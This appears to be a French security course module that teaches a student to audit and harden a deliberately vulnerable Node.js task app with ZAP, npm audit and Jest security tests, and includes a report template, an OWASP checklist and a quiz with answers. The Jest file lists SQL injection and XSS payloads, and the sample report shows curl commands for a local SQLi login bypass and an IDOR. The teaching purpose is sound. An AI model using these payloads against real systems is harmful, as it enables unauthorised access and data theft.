TP, Étape 1 : Scan ZAP

```
mkdir -p proofs/M7

# Option 1 : Docker
docker run --rm --network host \
  -v "$(pwd)/proofs/M7:/zap/wrk" \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t https://localhost:3443 -r zap-report.html -I

# Option 2 : ZAP Desktop (interface graphique)
# Voir instructions ci-dessus

echo "Rapport généré dans proofs/M7/zap-report.html"
```

✓ **Point de vérification** : le fichier `proofs/M7/zap-report.html` existe et contient des résultats.

CONCEPT 3, Interprétation des résultats ZAP

Rappel. ZAP génère des alertes classées par sévérité. Un faux positif est une alerte qui décrit une vulnérabilité qui n'existe pas réellement dans le contexte de l'application. Il faut analyser chaque alerte : lire la description, reproduire manuellement si possible, et décider de l'accepter, la corriger, ou la marquer comme faux positif documenté. Les alertes "Informational" sont généralement des observations (ex. : cookies sans expiration) qui peuvent ne pas nécessiter de correction immédiate.

Risque concret	Ignorer toutes les alertes ZAP parce qu'elles semblent trop nombreuses → passer à côté d'une vulnérabilité réelle HIGH.
Exemple de faille	Alerte "SQL Injection" détectée sur <code>/tasks</code> → à reproduire avec <code>sqlmap</code> pour confirmer
À vérifier dans l'app	Trier les alertes ZAP par sévérité, traiter en priorité HIGH puis MEDIUM
Correction	Pour chaque alerte HIGH : reproduire, corriger, retester
Test de validation	Relancer le scan ZAP après corrections → 0 alerte HIGH
Trace rapport	« Sur X alertes ZAP, Y ont été qualifiées de faux positifs (documentés), Z ont conduit à des corrections (listées section 4 du rapport). »

Tableau de triage des alertes :

ALERTE ZAP	SÉVÉRITÉ	FAUX POSITIF ?	ACTION
Missing Anti-CSRF Tokens	High	Non (si routes HTML)	Corriger, M5
X-Frame-Options Header Not Set	Medium	Non	Corriger, Helmet
Content Security Policy Not Set	Medium	Non	Corriger, M5
Application Error Disclosure	Medium	Vérifier	Corriger, M6
Cookie No HttpOnly Flag	Low	Non	Corriger, M5
Server Leaks Version Information	Low	Oui si Helmet actif	Documenter

CONCEPT 4, SCA (Software Composition Analysis)

Rappel. Une application Node.js typique dépend de dizaines de bibliothèques tierces. Chacune peut contenir des vulnérabilités connues, répertoriées dans des bases publiques comme le NVD (National Vulnerability Database) ou Snyk. `npm audit` interroge automatiquement le registre npm pour identifier les dépendances vulnérables et suggère des mises à jour. `npm audit fix` applique les corrections compatibles (patch, minor). `npm audit fix --force` applique les corrections avec changements majeurs, à faire avec précaution car cela peut casser l'API.

Risque concret

`express@4.17.1` avait une vulnérabilité de déni de service. Une dépendance non mise à jour est un vecteur d'attaque bien documenté (OWASP A06).

Exemple de faille

`package.json` avec versions non pinnées :
`"express": "^4.0.0"` → versions vulnérables acceptées

À vérifier dans l'app

`npm audit` dans le dossier `vuln-app/`

Correction

`npm audit fix` puis vérifier que les tests passent

Test de validation

`npm audit` → 0 vulnerability de sévérité high ou critical

Trace rapport

« `npm audit` a révélé X vulnérabilités (Y critical, Z high). Après `npm audit fix`, X vulnérabilités subsistent (risques résiduels documentés en section 6). »

TP, Étape 2 : npm audit

```
cd vuln-app

# Audit initial
npm audit

# Sauvegarder le rapport initial
npm audit --json > ../proofs/M7/npm-audit-before.json

# Corriger les vulnérabilités automatiquement
npm audit fix

# Vérifier ce qui reste
npm audit

# Sauvegarder le rapport final
npm audit --json > ../proofs/M7/npm-audit-after.json

# Corrections manuelles si nécessaire
npm audit fix --force # attention : peut casser des APIs
```

✓ **Point de vérification :** `npm audit` retourne 0 vulnérabilités HIGH ou CRITICAL.

CONCEPT 5, Pinning des versions

Rappel. `package.json` utilise des plages de versions (`^1.2.3` , `~1.2.3` , `*`) qui permettent à `npm install` de télécharger automatiquement des versions plus récentes. `package-lock.json` fixe les versions exactes de toutes les dépendances transitives. Il doit être commité dans le dépôt pour garantir des builds reproductibles. Sur un projet en production, éviter `^` (accepte les mises à jour minor) et préférer des versions fixes pour les dépendances critiques de sécurité (express, jsonwebtoken, bcrypt).

Risque concret	<code>^4.0.0</code> accepte <code>4.18.1</code> qui pourrait introduire une régression de sécurité. Sans <code>package-lock.json</code> , deux développeurs peuvent avoir des versions différentes.
Exemple de faille	<code>package-lock.json</code> absent du dépôt ou dans <code>.gitignore</code> → builds non reproductibles
À vérifier dans l'app	<code>cat vuln-app/.gitignore grep package-lock</code> → ne doit pas apparaître
Correction	<code>git add package-lock.json && git commit -m "pin: lock dependencies"</code>
Test de validation	<code>git log --oneline -- package-lock.json</code> → au moins un commit
Trace rapport	« <code>package-lock.json</code> est versionné. Les versions critiques (express, jsonwebtoken, bcrypt) ont été fixées sans préfixe <code>^</code> . »

```
# Vérifier que package-lock.json est commité
git log --oneline -- package-lock.json

# Si absent : commiter
git add package-lock.json
git commit -m "pin: add package-lock.json"
```

CONCEPT 6, Tests Automatisés de Sécurité (Jest)

Rappel. Les tests de sécurité automatisés vérifient que les corrections restent en place à chaque déploiement. Ils jouent les rôles d'attaquant : tenter une injection SQL, un IDOR, un XSS. Si le test passe (l'attaque échoue), la correction est en place. S'il échoue (l'attaque réussit), une régression a été introduite. Ces tests s'intègrent dans la CI/CD comme des tests unitaires classiques. `supertest` permet de tester les routes Express sans démarrer un vrai serveur HTTP.

Risque concret	Une correction SQL appliquée en M2 peut être accidentellement annulée lors d'un refactor → sans test automatisé, la vulnérabilité revient en production.
Exemple de faille	Absence totale de tests de sécurité dans <code>vuln-app/tests/</code>
À vérifier dans l'app	<code>ls vuln-app/tests/security/</code> → dossier absent
Correction	Écrire 5 tests Jest couvrant les failles principales
Test de validation	<code>npm test -- tests/security/</code> → 5 tests passants
Trace rapport	« 5 tests de sécurité automatisés ont été écrits. Ils couvrent : échec de login, IDOR, SQLi, XSS, headers. Tous passent en CI. »

Installation :

```
npm install --save-dev jest supertest
```

Ajouter dans `package.json` :

```
{
  "scripts": {
    "test": "jest",
    "test:security": "jest tests/security/"
  },
  "jest": {
    "testEnvironment": "node"
  }
}
```

Les 5 tests de sécurité :


```
// vuln-app/tests/security/security.test.js
const request = require('supertest');
const app = require('../..app');

// -----
// TEST 1, Échec de login avec mauvais credentials
// -----
describe('Auth, Login sécurisé', () => {
  test('Login avec mauvais mot de passe retourne 401', async () => {
    const res = await request(app)
      .post('/login')
      .send({ email: 'test@test.com', password: 'wrong_password' });

    expect(res.statusCode).toBe(401);
    expect(res.body).not.toHaveProperty('token');
    expect(res.body.error).toBeDefined();
    // Vérifier que le message ne révèle pas si l'email existe
    expect(res.body.error).not.toMatch(/email.*(exist|trouvé)/i);
  });

  test('Réponse de login ne contient pas le mot de passe', async () => {
    const res = await request(app)
      .post('/login')
      .send({ email: 'test@test.com', password: 'any' });

    expect(JSON.stringify(res.body)).not.toMatch(/password/i);
  });
});

// -----
// TEST 2, IDOR : accès aux tâches d'un autre utilisateur bloqué
// -----
describe('Autorisation, IDOR bloqué', () => {
  test('Accéder à une tâche sans être connecté retourne 401', async () => {
    const res = await request(app).get('/tasks/1');
    expect(res.statusCode).toBe(401);
  });

  test('Un utilisateur ne peut pas voir les tâches d\'un autre (simulation)',
    async () => {
    // Simuler une session avec userId=2 tentant d'accéder à une tâche de
    // userId=1
    const agent = request.agent(app);

    // Login avec user 2 (si existant dans la DB de test)
    // Ce test documente le comportement attendu
    const res = await agent.get('/tasks/999'); // ID inexistant pour un autre
    user
    expect([401, 403, 404]).toContain(res.statusCode);
  });
});

// -----
// TEST 3, Injection SQL bloquée
// -----
describe('Injection SQL, bloquée', () => {
  test('Payload SQLi dans login ne retourne pas de données utilisateur',
    async () => {

```

```

const sqliPayloads = [
  "' OR '1'='1",
  "' OR 1=1--",
  "admin'--",
  "' UNION SELECT * FROM users--",
];

for (const payload of sqliPayloads) {
  const res = await request(app)
    .post('/login')
    .send({ email: payload, password: payload });

  // L'attaque ne doit pas aboutir à un login réussi
  expect(res.statusCode).not.toBe(200);
  expect(res.body).not.toHaveProperty('userId');
}
});
});

// -----
// TEST 4, XSS : payloads stockés ou reflétés bloqués
// -----
describe('XSS, payloads bloqués', () => {
  test('Payload XSS dans création de tâche est sanitisé ou refusé', async () => {
    // Note : ce test nécessite une session valide
    // On vérifie que le payload n'est pas retourné tel quel
    const xssPayload = '<script>alert("xss")</script>';

    const res = await request(app)
      .post('/tasks')
      .send({ title: xssPayload, description: xssPayload });

    // Soit la requête est refusée, soit le payload est échappé
    if (res.statusCode === 200 || res.statusCode === 201) {
      // Si accepté, vérifier que le script n'est pas retourné brut
      expect(res.text).not.toContain('<script>alert("xss")</script>');
    } else {
      // Refus explicite du payload
      expect([400, 401, 403, 422]).toContain(res.statusCode);
    }
  });
});

// -----
// TEST 5, Headers de sécurité présents
// -----
describe('Headers de sécurité, Helmet actif', () => {
  test('Headers critiques présents sur la page d\'accueil', async () => {
    const res = await request(app).get('/');

    // Content Security Policy
    expect(res.headers).toHaveProperty('content-security-policy');

    // X-Frame-Options
    expect(res.headers['x-frame-options']).toBeDefined();
    expect(res.headers['x-frame-options'].toUpperCase()).toMatch(/DENY|SAMEORIGIN/);
  });
});

```

```
// X-Content-Type-Options
expect(res.headers['x-content-type-options']).toBe('nosniff');
});

test('Header Server ne révèle pas la version Express', async () => {
  const res = await request(app).get('/');
  // Helmet supprime ou masque le header Server
  expect(res.headers['x-powered-by']).toBeUndefined();
});
});
```

TP, Étape 3 : Écrire et exécuter les tests

```
cd vuln-app
mkdir -p tests/security
# Copier le fichier de tests ci-dessus dans tests/security/security.test.js

npm install --save-dev jest supertest

# Lancer les tests
npm test -- tests/security/security.test.js --verbose

# Sauvegarder le résultat
npm test -- tests/security/ --verbose > ../proofs/M7/jest-results.txt 2>&1
```

✓ **Point de vérification :** `npm test` → 5 tests, 5 passed .

CONCEPT 7, Audit Log Applicatif

Rappel. L'audit log enregistre les actions sensibles avec le contexte complet : qui (userId, IP), quoi (action), quand (timestamp ISO), résultat (succès/échec). Il permet la détection d'intrusion a posteriori et est souvent requis par les réglementations (RGPD, SOC2, PCI-DSS). Les événements à logger impérativement : authentification (réussi/échec), modification de profil, accès admin, suppression de données, changement de permissions. Le log applicatif est distinct du log technique (erreurs, performances).

Risque concret	Sans audit log, impossible de savoir qui a supprimé des données, ni quand une intrusion a commencé.
Exemple de faille	Aucun log sur <code>/admin/users</code> , un accès non autorisé passe inaperçu
À vérifier dans l'app	<code>grep -rn "logger\" vuln-app/routes/</code> , vérifier couverture des actions sensibles
Correction	Ajouter un log sur chaque action sensible avec <code>userId</code> , <code>IP</code> , <code>timestamp</code>
Test de validation	Effectuer un login, une création de tâche, une action admin → vérifier dans <code>logs/app.log</code>
Trace rapport	« Un audit log applicatif couvre les événements : login/logout, création/suppression de tâche, accès admin. Chaque entrée inclut <code>userId</code> , <code>IP</code> , <code>timestamp</code> et résultat. »

Événements à logger (liste minimale) :

```
// Routes à couvrir avec des logs d'audit
const AUDIT_EVENTS = {
  USER_REGISTER: 'user_register',
  USER_LOGIN: 'user_login',
  USER_LOGOUT: 'user_logout',
  USER_LOGIN_FAILED: 'user_login_failed',
  TASK_CREATE: 'task_create',
  TASK_DELETE: 'task_delete',
  ADMIN_ACCESS: 'admin_access',
  ADMIN_USER_DELETE: 'admin_user_delete',
  PASSWORD_CHANGE: 'password_change',
};

// Fonction d'audit log centralisée
function auditLog(action, req, data = {}) {
  logger.info(action, {
    userId: req.session?.userId || 'anonymous',
    ip: req.ip,
    userAgent: req.headers['user-agent'],
    timestamp: new Date().toISOString(),
    ...data,
  });
}

// Usage dans les routes
app.delete('/tasks/:id', requireAuth, (req, res) => {
  auditLog(AUDIT_EVENTS.TASK_DELETE, req, { taskId: req.params.id });
  // ... logique de suppression
});
```

CONCEPT 8, Rapport de Sécurisation Professionnel

Rappel. Le rapport de sécurisation est le livrable principal d'une mission de sécurisation. Il doit être compréhensible par un décideur technique (CTO, DSI) et par les développeurs qui feront la remédiation. Il suit une structure standard : contexte et périmètre, méthodologie utilisée, vulnérabilités trouvées classées par sévérité, corrections appliquées avec preuves, tests de validation, risques résiduels, et recommandations. Chaque vulnérabilité reçoit une fiche avec : description, CVSS estimé, preuve (capture ou log), correction appliquée, statut.

Risque concret	Un rapport incomplet ou non structuré est inutilisable pour prioriser les corrections ou justifier un investissement sécurité.
Exemple de faille	Rapport sans preuve → vulnérabilité contestée par l'équipe dev
À vérifier dans l'app	Collecter toutes les captures dans <code>proofs/M*/</code> avant de rédiger
Correction	Utiliser le template ci-dessous
Test de validation	Rapport relu par un pair, toutes les sections remplies
Trace rapport	(Cette section est le rapport lui-même)

Voir le Modèle de Rapport complet en section dédiée ci-dessous.

CONCEPT 9, Checklist OWASP Top 10

Rappel. L'OWASP Top 10 est la liste des 10 catégories de risques web les plus critiques, mise à jour tous les 3-4 ans à partir de données réelles (CVE, enquêtes, contributions de la communauté sécurité). Elle est un standard de référence pour les audits de conformité. Cocher la checklist permet de s'assurer qu'aucune catégorie majeure n'a été oubliée.

Risque concret	Se concentrer sur SQLi (A03) et oublier A01 (Broken Access Control), la vulnérabilité la plus répandue selon OWASP 2021.
Exemple de faille	TaskFlow initial : A01 (IDOR), A02 (mots de passe MD5), A03 (SQLi), A05 (pas de Helmet)
À vérifier dans l'app	Remplir la checklist en section dédiée
Correction	Appliquer les corrections des modules M1-M7
Test de validation	Checklist complétée avec preuves pour chaque item
Trace rapport	« La checklist OWASP Top 10 2021 a été complétée. 8 catégories sur 10 sont adressées. A07 et A10 sont en risques résiduels (roadmap Q2). »

CONCEPT 10, Risques Résiduels et Plan d'Amélioration

Rappel. Un audit de sécurisation n'élimine pas tous les risques, il les réduit à un niveau acceptable. Les risques résiduels sont ceux qui subsistent après corrections, soit parce que la correction est trop coûteuse, soit parce qu'elle dépend d'une décision architecturale. Chaque risque résiduel doit être documenté avec : description, impact potentiel, probabilité estimée, décision (accepter/transférer/réduire), et responsable. Le plan d'amélioration priorise les corrections futures.

Risque concret	Un risque non documenté peut être oublié lors d'une prochaine revue et se transformer en incident.
Exemple de faille	Rate limiting absent sur <code>/login</code> , brute-force possible → risque résiduel si non corrigé en M4
À vérifier dans l'app	Lister tous les items non couverts par les modules M1-M7
Correction	Documenter dans la section "Risques résiduels" du rapport
Test de validation	Chaque risque résiduel a un responsable et une date de traitement estimée
Trace rapport	« 3 risques résiduels identifiés : [liste]. Plan de remédiation Q2 2024 inclus dans le rapport. »

TP Complet M7 (90 min)

Étape 1, Installer OWASP ZAP + Scan baseline (20 min)

```
# Option Docker (recommandée)
docker pull ghcr.io/zaproxy/zaproxy:stable

# Démarrer l'application
cd vuln-app && node app.js &

# Lancer le scan
mkdir -p ../proofs/M7
docker run --rm --network host \
  -v "$(pwd)/../proofs/M7:/zap/wrk" \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py \
  -t https://localhost:3443 \
  -r zap-report.html \
  -J zap-report.json \
  -I

echo "Rapport dans proofs/M7/zap-report.html"
```

Analyser le rapport :

```
# Compter les alertes par sévérité (nécessite jq)
cat proofs/M7/zap-report.json | \
  jq '[.site[].alerts[] | {risk: .riskdesc, name: .name}] | group_by(.risk)'
```

✓ **Point de vérification** : rapport HTML généré, alertes listées par sévérité.

Étape 2, npm audit + remédiation (15 min)

```
cd vuln-app

# Audit avant corrections
npm audit --json > ../proofs/M7/npm-audit-before.json
npm audit # lire le résumé

# Corrections automatiques
npm audit fix

# Vérification
npm audit
npm audit --json > ../proofs/M7/npm-audit-after.json

# Si des vulnérabilités persistent (acceptées ou nécessitant --force)
# Documenter dans le rapport
```

✓ **Point de vérification** : 0 vulnérabilité HIGH ou CRITICAL restante.

Étape 3, Écrire 5 tests Jest de sécurité (25 min)

```
cd vuln-app
npm install --save-dev jest supertest
mkdir -p tests/security

# Copier le fichier security.test.js (Concept 6)
# Adapter les endpoints selon l'état réel de l'application

npm test -- tests/security/ --verbose

# Sauvegarder le résultat
npm test -- tests/security/ --verbose 2>&1 | tee ../proofs/M7/jest-
results.txt
```

✓ **Point de vérification** : 5 passed, 0 failed .

Étape 4, Remplir le rapport (20 min)

Utiliser le template de rapport ci-dessous. Remplir chaque section avec les données collectées lors des modules M1-M7.

```
mkdir -p docs
# Créer docs/rapport-final.md à partir du template
# Exporter en PDF via Pandoc ou impression navigateur
```

Étape 5, Remplir la checklist OWASP (5 min)

Remplir la checklist de la section dédiée ci-dessous.

Étape 6, Risques résiduels (5 min)

Remplir la section “Risques résiduels” du rapport avec les items non traités.

Modèle de Rapport de Sécurisation Professionnel

```
# Rapport de Sécurisation, TaskFlow API
**Version :** 1.0
**Date :** [DATE]
**Rédigé par :** [NOM ÉTUDIANT]
**Période d'audit :** [DATE DÉBUT], [DATE FIN]

---

## 1. Contexte et Périmètre

### 1.1 Présentation de l'application
TaskFlow est une API REST Node.js/Express/SQLite exposant les fonctionnalités :
- Gestion de compte utilisateur (register, login)
- Gestion de tâches (CRUD)
- Interface d'administration (`/admin/users`)

**Stack technique :** Node.js [VERSION], Express [VERSION], SQLite3, JWT
**Environnement testé :** Développement local (localhost:3443, mkcert)
**Périmètre :** Code source `vuln-app/`, base de données SQLite, configuration serveur

### 1.2 Objectifs de la mission
Identifier et corriger les vulnérabilités de sécurité dans le code source, durcir la configuration HTTP, et documenter les risques résiduels.

---

## 2. Méthodologie

| Phase | Outil / Méthode | Module |
|---|---|---|
| Revue de code manuelle | Lecture + grep | M1-M6 |
| Tests d'injection | Payloads manuels + sqlmap | M2-M3 |
| Analyse dynamique (DAST) | OWASP ZAP baseline | M7 |
| Analyse des dépendances (SCA) | npm audit | M7 |
| Tests automatisés | Jest + supertest | M7 |
| Référentiel | OWASP Top 10 2021 | Tous |

---

## 3. Vulnérabilités Identifiées

### 3.1 Résumé exécutif

| Sévérité | Nombre | Corrigées | Résiduelles |
|---|---|---|---|
| Critique | X | X | 0 |
| Haute | X | X | X |
| Moyenne | X | X | X |
| Faible | X | X | X |
| **Total** | **X** | **X** | **X** |

### 3.2 Fiches de vulnérabilité

---
```

VULN-01, Injection SQL (Haute)****OWASP**** : A03:2021, Injection****CVSS estimé**** : 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)****Description****

La route `'POST /login'` construisait la requête SQL par concaténation directe de l'entrée utilisateur, permettant à un attaquant de contourner l'authentification.

****Preuve (avant correction)****

```
```js
// auth.js ligne 23, extrait du code original
const query = `SELECT * FROM users WHERE email='${email}'`;
```

**Exploitation démontrée**

```
curl -X POST http://localhost:3000/login \
 -d "email=' OR 1=1--&password=anything"
Résultat : connexion réussie sans authentification
```

**Correction appliquée**

```
// auth.js ligne 23, après correction
db.get('SELECT * FROM users WHERE email = ?', [email], ...)
```

**Statut** : ☒ Corrigé, commit [HASH]**Test de validation** : `POST /login` avec payload `' OR 1=1--` → 401 Unauthorized**VULN-02, MOTS DE PASSE STOCKÉS EN CLAIR (CRITIQUE)****OWASP** : A02:2021, Cryptographic Failures**CVSS estimé** : 9.1**Description**

Les mots de passe étaient stockés en clair dans la base de données SQLite.

**Preuve (avant correction)**

```
sqlite3 taskflow.sqlite "SELECT email, password FROM users;"
admin@test.com | password123
```

**Correction appliquée**

Intégration de `bcrypt` avec facteur de coût 12.

**Statut** : ☒ Corrigé, commit [HASH]

**VULN-03, IDOR SUR LES TÂCHES (HAUTE)****OWASP** : A01:2021, Broken Access Control**CVSS estimé** : 7.5**Description**

Un utilisateur authentifié pouvait accéder aux tâches de n'importe quel autre utilisateur en incrémentant l'ID dans l'URL.

**Exploitation démontrée**

```
curl http://localhost:3000/tasks/1 -H "Cookie: connect.sid=SESSION_USER2"
Retournait les tâches de l'utilisateur 1, fuite de données
```

**Correction appliquée**

Ajout de `WHERE id = ? AND userId = ?` dans toutes les requêtes de tâches.

**Statut** : ☒ Corrigé, commit [HASH]**VULN-04, ABSENCE DE HEADERS DE SÉCURITÉ (MOYENNE)****OWASP** : A05:2021, Security Misconfiguration**Description**

Aucun header HTTP de sécurité (CSP, HSTS, X-Frame-Options, X-Content-Type-Options) n'était présent.

**Correction appliquée** : Helm.js configuré (M5).**Statut** : ☒ Corrigé, commit [HASH]**VULN-05, SECRETS CODÉS EN DUR (HAUTE)****OWASP** : A02:2021, Cryptographic Failures**Description**

`JWT_SECRET = "secret123"` présent dans `auth.js`.

**Correction appliquée** : Migration vers `.env` + `openssl rand -base64 64` (M6).**Statut** : ☒ Corrigé, commit [HASH]**VULN-06, PAS DE CSRF (HAUTE)****OWASP** : A01:2021, Broken Access Control**Description**

Routes POST acceptant des requêtes cross-site sans vérification de token.

**Correction appliquée** : `csrf` middleware (M5).**Statut** : ☒ Corrigé, commit [HASH]

**VULN-07, LOGS EXPOSANT DES DONNÉES SENSIBLES (MOYENNE)****OWASP** : A09:2021, Security Logging and Monitoring Failures**Description**`console.log("login:", email, password)` , mot de passe en clair dans les logs.**Correction appliquée** : Winston + audit des console.log (M6).**Statut** : ☒ Corrigé, commit [HASH]

## 4. Tests de Validation

TEST	MÉTHODE	RÉSULTAT ATTENDU	STATUT
SQLi login	' OR 1=1-- en email	401 Unauthorized	<input checked="" type="checkbox"/> Passe
IDOR tâches	GET /tasks/1 user2	403 Forbidden	<input checked="" type="checkbox"/> Passe
XSS stocké	<script> dans titre tâche	Payload échappé	<input checked="" type="checkbox"/> Passe
Brute-force	10 logins échoués/min	429 Too Many Requests	<input checked="" type="checkbox"/> Passe
Headers sécurité	curl -I https://localhost:3443	CSP + HSTS + XFO présents	<input checked="" type="checkbox"/> Passe
CSRF	POST sans token	403 invalid csrf token	<input checked="" type="checkbox"/> Passe
Stack trace	Route en erreur	Message générique	<input checked="" type="checkbox"/> Passe
Mots de passe	SELECT password FROM users	\$2b\$12\$ ...	<input checked="" type="checkbox"/> Passe

## 5. Résultats OWASP ZAP

**Date du scan** : [DATE]**Version ZAP** : [VERSION]**URL cible** : https://localhost:3443**Mode** : Baseline Scan

SÉVÉRITÉ	AVANT CORRECTION	APRÈS CORRECTION
High	X	0
Medium	X	X
Low	X	X
Informational	X	X

Rapport complet : `proofs/M7/zap-report.html`

## 6. Risques Résiduels

#	VULNÉRABILITÉ	OWASP	SÉVÉRITÉ	RAISON DE NON-CORRECTION	PLAN
R1	Rate limiting login	A07	Moyenne	Hors périmètre M1-M7	Sprint suivant
R2	Pas de 2FA	A07	Faible	Complexité fonctionnelle	Roadmap Q2
R3	Logs non centralisés	A09	Faible	Infrastructure non disponible	Prod uniquement

## 7. Conclusion

[NOM ÉTUDIANT] a réalisé l'audit de sécurisation de TaskFlow sur la période [DATES]. Les 7 vulnérabilités critiques et hautes identifiées ont été corrigées. 3 risques résiduels de sévérité moyenne à faible ont été documentés avec un plan de remédiation.

La posture de sécurité de l'application a significativement progressé : - Score sécurité estimé avant : 2/10 - Score sécurité estimé après : 7.5/10

**Livrables joints :** - Code source taggé `M7-audit-final` - Rapport ZAP : `proofs/M7/zap-report.html` - Tests Jest : `tests/security/security.test.js` - npm audit : `proofs/M7/npm-audit-after.json` ``

## Checklist OWASP Top 10, TaskFlow

Cocher chaque item après validation :

#	CATÉGORIE OWASP	FAILLE INITIALE	MODULE	STATUT
A01	Broken Access Control	IDOR sur /tasks, /admin sans auth	M3 · M4	<input type="checkbox"/>
A02	Cryptographic Failures	Mots de passe MD5/clair, JWT secret faible	M2 · M6	<input type="checkbox"/>
A03	Injection	SQLi sur /login et /tasks	M2	<input type="checkbox"/>
A04	Insecure Design	Pas de rate limiting, énumération users	M4	<input type="checkbox"/>
A05	Security Misconfiguration	Pas de headers Helmet, HTTP en clair	M5	<input type="checkbox"/>
A06	Vulnerable Components	Dépendances non auditées	M7	<input type="checkbox"/>
A07	Auth & Session	Session non expirée, pas de logout sécurisé	M4	<input type="checkbox"/>
A08	Software Integrity	package-lock.json non commité	M7	<input type="checkbox"/>
A09	Logging Failures	Logs avec mots de passe, pas de Winston	M6	<input type="checkbox"/>
A10	SSRF	Non applicable (pas de requête vers URL externe)	,	<input type="checkbox"/> N/A

\*\*Score final : \_\_\_\_/9 catégories adressées\*\*

## Mini-quiz M7, Synthèse du cours (10 QCM)

**Q1.** La différence principale entre SAST et DAST est : - A. SAST analyse le code statique, DAST teste l'application en exécution - B. SAST est automatique, DAST est manuel - C. SAST couvre toutes les vulnérabilités, DAST seulement les headers - D. DAST nécessite l'accès au code source

**Q2.** `npm audit fix --force` : - A. Supprime toutes les vulnérabilités garanties - B. Applique des mises à jour majeures qui peuvent casser l'API - C. Est équivalent à `npm audit fix` mais plus rapide - D. Ignore les faux positifs

**Q3.** Quel type de vulnérabilité `npm audit` détecte-t-il ? - A. Injections SQL dans le code - B. Vulnérabilités des dépendances tierces - C. Headers HTTP manquants - D. Fuites de secrets dans le code

**Q4.** Dans un test Jest de sécurité, si le test "SQLi retourne 401" **échoue**, cela signifie : - A. Le test est mal écrit - B. L'injection SQL fonctionne, la protection est absente ou a régressé - C. SQLite n'est pas démarré - D. Jest n'est pas configuré pour les tests de sécurité

**Q5.** `bcrypt.hash(password, 12)`, que représente `12` ? - A. La longueur du sel - B. Le facteur de coût : plus élevé = calcul plus lent = plus résistant au brute-force - C. Le nombre de rounds SHA - D. La taille minimale du mot de passe

**Q6.** Dans un rapport de sécurité, un “risque résiduel” est : - A. Une vulnérabilité non découverte - B. Une vulnérabilité connue, documentée, et acceptée ou reportée - C. Une erreur dans le rapport - D. Un faux positif ZAP

**Q7.** `X-Content-Type-Options: nosniff` protège contre : - A. Le clickjacking - B. Le MIME type sniffing, le navigateur exécute un fichier texte comme JavaScript - C. Les injections XSS directes - D. Les requêtes CSRF

**Q8.** `git log -S "secret123"` permet de : - A. Supprimer les commits contenant “secret123” - B. Rechercher dans l'historique Git tous les commits ayant ajouté ou supprimé “secret123” - C. Chiffrer les commits contenant ce mot - D. Vérifier le message de commit

**Q9.** La directive CSP `script-src 'self'` signifie : - A. Seuls les scripts inline sont autorisés - B. Seuls les scripts provenant de la même origine sont exécutés - C. Tous les scripts externes sont autorisés - D. Les scripts sont désactivés

**Q10.** Le CVSS (Common Vulnerability Scoring System) est : - A. Un outil de scan automatique - B. Un système de notation standardisé de la sévérité des vulnérabilités (0-10) - C. La liste des vulnérabilités OWASP - D. Un format de rapport de sécurité

## Corrigé

Q	RÉPONSE	JUSTIFICATION
Q1	A	DAST = blackbox runtime, SAST = analyse du code source
Q2	B	<code>--force</code> applique des breaking changes, à vérifier manuellement
Q3	B	<code>npm audit</code> compare les dépendances à la base CVE du registre npm
Q4	B	Un test de sécurité qui échoue = la faille est présente
Q5	B	Le facteur de coût contrôle le temps de calcul, <code>12</code> = ~0.3s sur CPU moderne
Q6	B	Risque accepté et documenté, pas ignoré
Q7	B	Sans ce header, un navigateur peut “deviner” le type MIME et exécuter du JS
Q8	B	<code>-S</code> (pickaxe) recherche dans l'historique des diffs, utile pour audit secrets
Q9	B	<code>'self'</code> = même origine : même schéma + hôte + port
Q10	B	CVSS donne un score 0-10 : base, temporel, environnemental

## Livrable Final du Module

- ☐ Code taggé : `git tag M7-audit-final && git push --tags`
- ☐ Rapport `docs/rapport-final.md` rédigé (toutes sections complètes)
- ☐ Rapport PDF généré : `docs/rapport-final.pdf`
- ☐ Checklist OWASP complétée
- ☐ Tests Jest dans `tests/security/security.test.js` , 5 passed
- ☐ Capture scan ZAP dans `proofs/M7/zap-report.html`
- ☐ npm audit after dans `proofs/M7/npm-audit-after.json`

## Erreurs fréquentes à éviter

- Lancer ZAP sur une application arrêtée → 0 résultats, scan inutile.
- Accepter tous les findings ZAP sans les analyser → les faux positifs gonflent le rapport et perdent la confiance du lecteur.
- Écrire des tests Jest qui passent toujours (assertions trop permissives) → ils ne détectent aucune régression.
- Rapport sans preuves → vulnérabilités contestables.
- Oublier de commiter `package-lock.json` → builds non reproductibles.
- Marquer tous les risques résiduels comme “acceptés” sans justification → le rapport perd sa valeur.

## Ressources

- OWASP Top 10 2021 : <https://owasp.org/www-project-top-ten/>
- OWASP Testing Guide (OTG) : <https://owasp.org/www-project-web-security-testing-guide/>
- OWASP ZAP : <https://www.zaproxy.org/>
- OWASP ZAP Docker : <https://www.zaproxy.org/docs/docker/about/>
- npm audit documentation : <https://docs.npmjs.com/cli/v10/commands/npm-audit>
- Jest documentation : <https://jestjs.io/docs/getting-started>
- supertest : <https://github.com/ladjs/supertest>
- CVSS Calculator : <https://www.first.org/cvss/calculator/3.1>
- truffleHog (scan historique Git) : <https://github.com/trufflesecurity/trufflehog>
- BFG Repo Cleaner (supprimer secrets de l'historique) : <https://rtyley.github.io/bfg-repo-cleaner/>



PARTIE III

# Annexes

*Modèle de rapport, checklist et quiz*



# Annexe A. Modèle de rapport d'audit

---

## Rapport d'Audit & Sécurisation

---

**[Nom du Projet] · [Nom Étudiant] · [Date]**

Document professionnel · 5 à 10 pages · à rendre en PDF Ce template suit la structure d'un livrable d'audit de sécurité applicative.

---

### 1. Résumé exécutif (1/2 page)

Synthèse en 6-8 lignes pour un lecteur pressé : objet de l'audit, périmètre, méthode, principaux constats, niveau de sécurité final, principales recommandations.

**Niveau de sécurité initial** : ☐ Faible ☐ Moyen ☐ Bon **Niveau de sécurité après corrections** : ☐ Faible ☐ Moyen ☐ Bon

**Vulnérabilités identifiées** : N critiques · N élevées · N moyennes · N faibles  
**Vulnérabilités corrigées** : ... sur ...

---

### 2. Contexte et périmètre

#### 2.1 Application auditée

- **Nom** : ...
- **Type** : API REST / application web / SPA
- **Stack** : ...
- **Périmètre auditeur** : routes, code source, base, configuration

#### 2.2 Hypothèses et limites

- L'audit ne couvre pas : infra, réseau, processus déploiement
  - Application en mode développement (pas de scope production)
- 

### 3. Méthodologie

#### 3.1 Démarche

1. Analyse des risques + threat model STRIDE (Module 1)

- 2. Audit code par catégorie OWASP Top 10 (Modules 2-6)
- 3. Tests dynamiques (OWASP ZAP, exploits manuels) (Module 7)
- 4. Tests automatisés de sécurité (Jest) (Module 7)
- 5. Documentation des corrections appliquées

